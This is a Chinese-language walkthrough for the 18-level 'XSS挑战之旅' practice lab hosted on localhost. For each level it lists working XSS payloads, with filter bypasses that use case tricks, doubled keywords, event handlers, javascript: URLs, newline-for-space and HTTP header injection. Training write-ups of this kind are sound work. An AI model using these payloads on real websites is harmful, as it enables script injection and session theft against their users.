【巨人肩膀上的矮子】XSS挑战之旅---游戏通关攻略(更新至18关)
字数 1152 2025-08-29 08:31:42
XSS挑战之旅通关攻略详解
第一关:基础XSS注入
输入点:URL参数name
输出点:页面内容
过滤情况:无任何过滤
Payload示例:
http://127.0.0.1/xss/level1.php?name=<script>alert("完成的不错!")</script>
http://127.0.0.1/xss/level1.php?name=<script>prompt("完成的不错!")</script>
http://127.0.0.1/xss/level1.php?name=<script>confirm("完成的不错!")</script>
第二关:HTML属性注入
输入点:界面和URL参数
输出点:页面内容
过滤情况:部分位置过滤了尖括号
Payload示例:
test"><script>alert("完成的不错!")</script>
test"><script>prompt("完成的不错!")</script>
test"><script>confirm("完成的不错!")</script>
第三关:事件处理器注入
输入点:URL参数
输出点:HTML属性
过滤情况:过滤了尖括号
Payload示例:
' oninput=alert`1` //
' onchange=alert`1` //
第四关:双引号事件注入
输入点:URL参数
输出点:HTML属性
过滤情况:与第三关类似,但使用双引号
Payload示例:
" onchange=alert`1`
" oninput=alert`1` //
第五关:过滤绕过技术
过滤情况:
on替换为o_nscript替换为sc_ript
Payload示例:
"> <a href="javascript:%61lert(1)">click me</a> //
"> <a href="javascript:alert('xss')">111</a> //
"> <a href="javascript:alert(/1/)">axxx</a> //
第六关:大小写绕过
Payload示例:
"> <Script>alert('handsome boy')</script> //
"> //
第七关:双重字符绕过
Payload示例:
" oonninput=alert(1)
"> <scscriptript>alert`xss`</scscriptript> //
第八关:JavaScript伪协议
关键点:
- 使用
javascript:伪协议 - URL编码绕过
Payload示例:
<a href="javascript:%61lert(1)">click me</a>
第九关:带HTTP检测的伪协议
Payload示例:
javascript:alert(1)//http://www.0aa.me
javascript:%0dhttp://www.0aa.me%0dalert(1)
第十关:隐藏输入注入
Payload示例:
http://127.0.0.1/xss/level10.php?keyword=888888&t_sort=" type="text" onclick="alert()
http://127.0.0.1/xss/level10.php?keyword=well done!&t_sort=" onmouseover=alert(1) type="text"
第十一关:Referer头注入
攻击方法:
- 使用Burp Suite等工具抓包
- 修改Referer头为XSS payload
第十二关:User-Agent头注入
攻击方法:
- 抓包修改User-Agent头
- 注入XSS代码
第十三关:Cookie注入
攻击方法:
- 修改Cookie值
- 注入XSS代码
第十四关:EXIF XSS
攻击方法:
- 上传含有XSS代码的图片
- 利用EXIF漏洞触发XSS
第十五关:AngularJS ng-include
Payload示例:
/level15.php?src='level1.php?name=test'
第十六关:空格过滤绕过
Payload示例:
/level16.php?keyword=
http://127.0.0.1/xss//level16.php?keyword=
http://127.0.0.1/xss//level16.php?keyword=<svg%0aonload=alert`1`></svg>
第十七关 & 第十八关:Flash参数注入
Payload示例:
/level17.php?arg01=a&arg02= onmouseover=alert(1)
http://127.0.0.1/xss//level18.php?arg01=a&arg02=b onmouseout=alert(1)
关键知识点总结
- 基础注入:直接使用
<script>标签 - HTML属性注入:闭合属性后插入新属性
- 事件处理器:使用
onclick,onmouseover等事件 - 大小写绕过:
ScRiPt代替script - 双重字符绕过:
scscriptript代替script - 伪协议:
javascript:协议 - HTTP检测绕过:使用注释或换行符
- 隐藏输入注入:修改表单隐藏字段
- HTTP头注入:Referer, User-Agent, Cookie
- 特殊技术:EXIF XSS, AngularJS包含
- 空格绕过:使用
%0a,%0d代替空格 - Flash参数注入:通过Flash参数注入事件处理器
以上是XSS挑战之旅前18关的详细通关攻略,涵盖了多种XSS注入技术和绕过方法。